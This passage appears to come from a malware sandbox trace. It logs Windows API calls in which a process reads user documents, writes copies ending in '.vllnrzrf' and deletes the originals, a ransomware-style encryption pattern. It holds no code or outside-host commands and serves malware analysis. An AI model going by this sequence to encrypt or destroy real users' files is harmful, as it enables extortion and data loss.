lpOldMode=0x1c92dd60) returned 1 [0100.922] GetFileType (hFile=0x508) returned 0x1 [0100.922] WriteFile (in: hFile=0x508, lpBuffer=0x2363a68*, nNumberOfBytesToWrite=0x108b5, lpNumberOfBytesWritten=0x1c92df18, lpOverlapped=0x0 | out: lpBuffer=0x2363a68*, lpNumberOfBytesWritten=0x1c92df18*=0x108b5, lpOverlapped=0x0) returned 1 [0100.925] CloseHandle (hObject=0x508) returned 1 [0100.926] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\m5K 71hrLjjpRsf Fm2E.pptx", nBufferLength=0x105, lpBuffer=0x1c92d910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\m5K 71hrLjjpRsf Fm2E.pptx", lpFilePart=0x0) returned 0x4b [0100.926] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\m5K 71hrLjjpRsf Fm2E.pptx", nBufferLength=0x105, lpBuffer=0x1c92dab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\m5K 71hrLjjpRsf Fm2E.pptx", lpFilePart=0x0) returned 0x4b [0100.927] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\m5K 71hrLjjpRsf Fm2E.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\m5k 71hrljjprsf fm2e.pptx")) returned 1 [0100.930] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\VDYFV7fo3iGrYYNBhN.ods", nBufferLength=0x105, lpBuffer=0x1c92d910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\VDYFV7fo3iGrYYNBhN.ods", lpFilePart=0x0) returned 0x48 [0100.930] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\VDYFV7fo3iGrYYNBhN.ods", nBufferLength=0x105, lpBuffer=0x1c92d910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\VDYFV7fo3iGrYYNBhN.ods", lpFilePart=0x0) returned 0x48 [0100.930] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\VDYFV7fo3iGrYYNBhN.ods", nBufferLength=0x105, lpBuffer=0x1c92d910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\VDYFV7fo3iGrYYNBhN.ods", lpFilePart=0x0) returned 0x48 [0100.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92ddf0) returned 1 [0100.931] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\VDYFV7fo3iGrYYNBhN.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\vdyfv7fo3igryynbhn.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x508 [0100.931] GetFileType (hFile=0x508) returned 0x1 [0100.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92dd60) returned 1 [0100.931] GetFileType (hFile=0x508) returned 0x1 [0100.931] GetFileSize (in: hFile=0x508, lpFileSizeHigh=0x1c92df88 | out: lpFileSizeHigh=0x1c92df88*=0x0) returned 0x14ce4 [0100.961] ReadFile (in: hFile=0x508, lpBuffer=0x121ea610, nNumberOfBytesToRead=0x14ce4, lpNumberOfBytesRead=0x1c92deb8, lpOverlapped=0x0 | out: lpBuffer=0x121ea610*, lpNumberOfBytesRead=0x1c92deb8*=0x14ce4, lpOverlapped=0x0) returned 1 [0100.962] CloseHandle (hObject=0x508) returned 1 [0100.987] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\VDYFV7fo3iGrYYNBhN.ods.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c92d910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\VDYFV7fo3iGrYYNBhN.ods.vllnrzrf", lpFilePart=0x0) returned 0x51 [0100.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92ddf0) returned 1 [0100.987] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\VDYFV7fo3iGrYYNBhN.ods.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\vdyfv7fo3igryynbhn.ods.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4ec [0100.988] GetFileType (hFile=0x4ec) returned 0x1 [0100.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92dd60) returned 1 [0100.988] GetFileType (hFile=0x4ec) returned 0x1 [0100.988] WriteFile (in: hFile=0x4ec, lpBuffer=0x1228f030*, nNumberOfBytesToWrite=0x14ee4, lpNumberOfBytesWritten=0x1c92df18, lpOverlapped=0x0 | out: lpBuffer=0x1228f030*, lpNumberOfBytesWritten=0x1c92df18*=0x14ee4, lpOverlapped=0x0) returned 1 [0100.991] CloseHandle (hObject=0x4ec) returned 1 [0100.993] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\VDYFV7fo3iGrYYNBhN.ods", nBufferLength=0x105, lpBuffer=0x1c92d910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\VDYFV7fo3iGrYYNBhN.ods", lpFilePart=0x0) returned 0x48 [0100.993] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\VDYFV7fo3iGrYYNBhN.ods", nBufferLength=0x105, lpBuffer=0x1c92dab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\VDYFV7fo3iGrYYNBhN.ods", lpFilePart=0x0) returned 0x48 [0100.993] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\VDYFV7fo3iGrYYNBhN.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\vdyfv7fo3igryynbhn.ods")) returned 1 [0101.000] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\W7-B1o7u.csv", nBufferLength=0x105, lpBuffer=0x1c92d910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\W7-B1o7u.csv", lpFilePart=0x0) returned 0x3e [0101.000] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\W7-B1o7u.csv", nBufferLength=0x105, lpBuffer=0x1c92d910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\W7-B1o7u.csv", lpFilePart=0x0) returned 0x3e [0101.000] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\W7-B1o7u.csv", nBufferLength=0x105, lpBuffer=0x1c92d910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\W7-B1o7u.csv", lpFilePart=0x0) returned 0x3e [0101.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92ddf0) returned 1 [0101.000] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\W7-B1o7u.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\w7-b1o7u.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4ec [0101.000] GetFileType (hFile=0x4ec) returned 0x1 [0101.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92dd60) returned 1 [0101.000] GetFileType (hFile=0x4ec) returned 0x1 [0101.000] GetFileSize (in: hFile=0x4ec, lpFileSizeHigh=0x1c92df88 | out: lpFileSizeHigh=0x1c92df88*=0x0) returned 0x153e8 [0101.001] ReadFile (in: hFile=0x4ec, lpBuffer=0x122a3f50, nNumberOfBytesToRead=0x153e8, lpNumberOfBytesRead=0x1c92deb8, lpOverlapped=0x0 | out: lpBuffer=0x122a3f50*, lpNumberOfBytesRead=0x1c92deb8*=0x153e8, lpOverlapped=0x0) returned 1 [0101.003] CloseHandle (hObject=0x4ec) returned 1 [0101.076] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\W7-B1o7u.csv.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c92d910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\W7-B1o7u.csv.vllnrzrf", lpFilePart=0x0) returned 0x47 [0101.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92ddf0) returned 1 [0101.077] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\W7-B1o7u.csv.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\w7-b1o7u.csv.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4ec [0101.077] GetFileType (hFile=0x4ec) returned 0x1 [0101.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92dd60) returned 1 [0101.077] GetFileType (hFile=0x4ec) returned 0x1 [0101.077] WriteFile (in: hFile=0x4ec, lpBuffer=0x12323738*, nNumberOfBytesToWrite=0x155e8, lpNumberOfBytesWritten=0x1c92df18, lpOverlapped=0x0 | out: lpBuffer=0x12323738*, lpNumberOfBytesWritten=0x1c92df18*=0x155e8, lpOverlapped=0x0) returned 1 [0101.080] CloseHandle (hObject=0x4ec) returned 1 [0101.083] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\W7-B1o7u.csv", nBufferLength=0x105, lpBuffer=0x1c92d910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\W7-B1o7u.csv", lpFilePart=0x0) returned 0x3e [0101.083] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\W7-B1o7u.csv", nBufferLength=0x105, lpBuffer=0x1c92dab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\W7-B1o7u.csv", lpFilePart=0x0) returned 0x3e [0101.083] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\W7-B1o7u.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\w7-b1o7u.csv")) returned 1 [0101.132] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\_GeWne1isO.pdf", nBufferLength=0x105, lpBuffer=0x1c92d910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\_GeWne1isO.pdf", lpFilePart=0x0) returned 0x40 [0101.132] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\_GeWne1isO.pdf", nBufferLength=0x105, lpBuffer=0x1c92d910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\_GeWne1isO.pdf", lpFilePart=0x0) returned 0x40 [0101.132] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\_GeWne1isO.pdf", nBufferLength=0x105, lpBuffer=0x1c92d910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\_GeWne1isO.pdf", lpFilePart=0x0) returned 0x40 [0101.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92ddf0) returned 1 [0101.132] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\_GeWne1isO.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\_gewne1iso.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4ec [0101.132] GetFileType (hFile=0x4ec) returned 0x1 [0101.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92dd60) returned 1 [0101.132] GetFileType (hFile=0x4ec) returned 0x1 [0101.132] GetFileSize (in: hFile=0x4ec, lpFileSizeHigh=0x1c92df88 | out: lpFileSizeHigh=0x1c92df88*=0x0) returned 0xbbd7 [0101.133] ReadFile (in: hFile=0x4ec, lpBuffer=0x223a868, nNumberOfBytesToRead=0xbbd7, lpNumberOfBytesRead=0x1c92deb8, lpOverlapped=0x0 | out: lpBuffer=0x223a868*, lpNumberOfBytesRead=0x1c92deb8*=0xbbd7, lpOverlapped=0x0) returned 1 [0101.134] CloseHandle (hObject=0x4ec) returned 1 [0101.144] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\_GeWne1isO.pdf.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c92d910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\_GeWne1isO.pdf.vllnrzrf", lpFilePart=0x0) returned 0x49 [0101.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92ddf0) returned 1 [0101.144] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\_GeWne1isO.pdf.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\_gewne1iso.pdf.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4ec [0101.144] GetFileType (hFile=0x4ec) returned 0x1 [0101.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92dd60) returned 1 [0101.144] GetFileType (hFile=0x4ec) returned 0x1 [0101.144] WriteFile (in: hFile=0x4ec, lpBuffer=0x227cd58*, nNumberOfBytesToWrite=0xbdd7, lpNumberOfBytesWritten=0x1c92df18, lpOverlapped=0x0 | out: lpBuffer=0x227cd58*, lpNumberOfBytesWritten=0x1c92df18*=0xbdd7, lpOverlapped=0x0) returned 1 [0101.146] CloseHandle (hObject=0x4ec) returned 1 [0101.147] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\_GeWne1isO.pdf", nBufferLength=0x105, lpBuffer=0x1c92d910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\_GeWne1isO.pdf", lpFilePart=0x0) returned 0x40 [0101.147] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\_GeWne1isO.pdf", nBufferLength=0x105, lpBuffer=0x1c92dab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\_GeWne1isO.pdf", lpFilePart=0x0) returned 0x40 [0101.148] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\_GeWne1isO.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\_gewne1iso.pdf")) returned 1 [0101.150] CoUninitialize () Thread: id = 70 os_tid = 0xb40 [0101.160] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0101.161] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", nBufferLength=0x105, lpBuffer=0x1d00d9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", lpFilePart=0x0) returned 0x3a [0101.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00de20) returned 1 [0101.161] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", nBufferLength=0x105, lpBuffer=0x1d00d910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", lpFilePart=0x0) returned 0x3a [0101.161] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\", nBufferLength=0x105, lpBuffer=0x1d00d8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\", lpFilePart=0x0) returned 0x3b [0101.161] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\*.*", lpFindFileData=0x1d00dac0 | out: lpFindFileData=0x1d00dac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c8db800, ftCreationTime.dwHighDateTime=0x1d5d80b, ftLastAccessTime.dwLowDateTime=0xb231ae30, ftLastAccessTime.dwHighDateTime=0x1d5e2a1, ftLastWriteTime.dwLowDateTime=0xb231ae30, ftLastWriteTime.dwHighDateTime=0x1d5e2a1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0101.162] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00db10 | out: lpFindFileData=0x1d00db10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c8db800, ftCreationTime.dwHighDateTime=0x1d5d80b, ftLastAccessTime.dwLowDateTime=0xb231ae30, ftLastAccessTime.dwHighDateTime=0x1d5e2a1, ftLastWriteTime.dwLowDateTime=0xb231ae30, ftLastWriteTime.dwHighDateTime=0x1d5e2a1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.162] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00db10 | out: lpFindFileData=0x1d00db10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40ce8ce0, ftCreationTime.dwHighDateTime=0x1d5e800, ftLastAccessTime.dwLowDateTime=0xbfc79410, ftLastAccessTime.dwHighDateTime=0x1d5d7e8, ftLastWriteTime.dwLowDateTime=0xbfc79410, ftLastWriteTime.dwHighDateTime=0x1d5d7e8, nFileSizeHigh=0x0, nFileSizeLow=0x1121, dwReserved0=0x0, dwReserved1=0x0, cFileName="8TPv.rtf", cAlternateFileName="")) returned 1 [0101.162] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00db10 | out: lpFindFileData=0x1d00db10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b69de20, ftCreationTime.dwHighDateTime=0x1d5d891, ftLastAccessTime.dwLowDateTime=0x4d13b6d0, ftLastAccessTime.dwHighDateTime=0x1d5d818, ftLastWriteTime.dwLowDateTime=0x4d13b6d0, ftLastWriteTime.dwHighDateTime=0x1d5d818, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9YzooCNUDxA9o", cAlternateFileName="9YZOOC~1")) returned 1 [0101.162] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00db10 | out: lpFindFileData=0x1d00db10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe55d0080, ftCreationTime.dwHighDateTime=0x1d5d931, ftLastAccessTime.dwLowDateTime=0x3630e840, ftLastAccessTime.dwHighDateTime=0x1d5e27a, ftLastWriteTime.dwLowDateTime=0x3630e840, ftLastWriteTime.dwHighDateTime=0x1d5e27a, nFileSizeHigh=0x0, nFileSizeLow=0xd551, dwReserved0=0x0, dwReserved1=0x0, cFileName="g7XU OZHaMD4v8MRlf.ppt", cAlternateFileName="G7XUOZ~1.PPT")) returned 1 [0101.162] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00db10 | out: lpFindFileData=0x1d00db10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99080fd0, ftCreationTime.dwHighDateTime=0x1d5d96e, ftLastAccessTime.dwLowDateTime=0xa7fbbd0, ftLastAccessTime.dwHighDateTime=0x1d5ddda, ftLastWriteTime.dwLowDateTime=0xa7fbbd0, ftLastWriteTime.dwHighDateTime=0x1d5ddda, nFileSizeHigh=0x0, nFileSizeLow=0x17474, dwReserved0=0x0, dwReserved1=0x0, cFileName="JcCAKy.xls", cAlternateFileName="")) returned 1 [0101.162] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00db10 | out: lpFindFileData=0x1d00db10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14ad40a0, ftCreationTime.dwHighDateTime=0x1d5e3fc, ftLastAccessTime.dwLowDateTime=0xd1897930, ftLastAccessTime.dwHighDateTime=0x1d5e782, ftLastWriteTime.dwLowDateTime=0xd1897930, ftLastWriteTime.dwHighDateTime=0x1d5e782, nFileSizeHigh=0x0, nFileSizeLow=0x18f45, dwReserved0=0x0, dwReserved1=0x0, cFileName="koqoe.rtf", cAlternateFileName="")) returned 1 [0101.163] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00db10 | out: lpFindFileData=0x1d00db10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc05b1e00, ftCreationTime.dwHighDateTime=0x1d5e30b, ftLastAccessTime.dwLowDateTime=0x9911a2e0, ftLastAccessTime.dwHighDateTime=0x1d5dd36, ftLastWriteTime.dwLowDateTime=0x9911a2e0, ftLastWriteTime.dwHighDateTime=0x1d5dd36, nFileSizeHigh=0x0, nFileSizeLow=0x1556c, dwReserved0=0x0, dwReserved1=0x0, cFileName="StvSmXCkKAQoPtSJMaw.ppt", cAlternateFileName="STVSMX~1.PPT")) returned 1 [0101.163] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00db10 | out: lpFindFileData=0x1d00db10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e7c89a0, ftCreationTime.dwHighDateTime=0x1d5dd7e, ftLastAccessTime.dwLowDateTime=0x84bce910, ftLastAccessTime.dwHighDateTime=0x1d5e341, ftLastWriteTime.dwLowDateTime=0x84bce910, ftLastWriteTime.dwHighDateTime=0x1d5e341, nFileSizeHigh=0x0, nFileSizeLow=0x8773, dwReserved0=0x0, dwReserved1=0x0, cFileName="VmPnMr3iX4.pps", cAlternateFileName="VMPNMR~1.PPS")) returned 1 [0101.163] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00db10 | out: lpFindFileData=0x1d00db10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0101.163] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0101.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00dd70) returned 1 [0101.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00dd30) returned 1 [0101.164] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\8TPv.rtf", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\8TPv.rtf", lpFilePart=0x0) returned 0x43 [0101.164] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\8TPv.rtf", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\8TPv.rtf", lpFilePart=0x0) returned 0x43 [0101.164] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\8TPv.rtf", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\8TPv.rtf", lpFilePart=0x0) returned 0x43 [0101.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00dd10) returned 1 [0101.165] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\8TPv.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\8tpv.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4d4 [0101.165] GetFileType (hFile=0x4d4) returned 0x1 [0101.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00dc80) returned 1 [0101.165] GetFileType (hFile=0x4d4) returned 0x1 [0101.165] GetFileSize (in: hFile=0x4d4, lpFileSizeHigh=0x1d00dea8 | out: lpFileSizeHigh=0x1d00dea8*=0x0) returned 0x1121 [0101.165] ReadFile (in: hFile=0x4d4, lpBuffer=0x228c528, nNumberOfBytesToRead=0x1121, lpNumberOfBytesRead=0x1d00ddd8, lpOverlapped=0x0 | out: lpBuffer=0x228c528*, lpNumberOfBytesRead=0x1d00ddd8*=0x1121, lpOverlapped=0x0) returned 1 [0101.166] CloseHandle (hObject=0x4d4) returned 1 [0101.171] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\8TPv.rtf.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\8TPv.rtf.vllnrzrf", lpFilePart=0x0) returned 0x4c [0101.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00dd10) returned 1 [0101.172] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\8TPv.rtf.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\8tpv.rtf.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4d4 [0101.172] GetFileType (hFile=0x4d4) returned 0x1 [0101.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00dc80) returned 1 [0101.172] GetFileType (hFile=0x4d4) returned 0x1 [0101.172] WriteFile (in: hFile=0x4d4, lpBuffer=0x2297698*, nNumberOfBytesToWrite=0x1321, 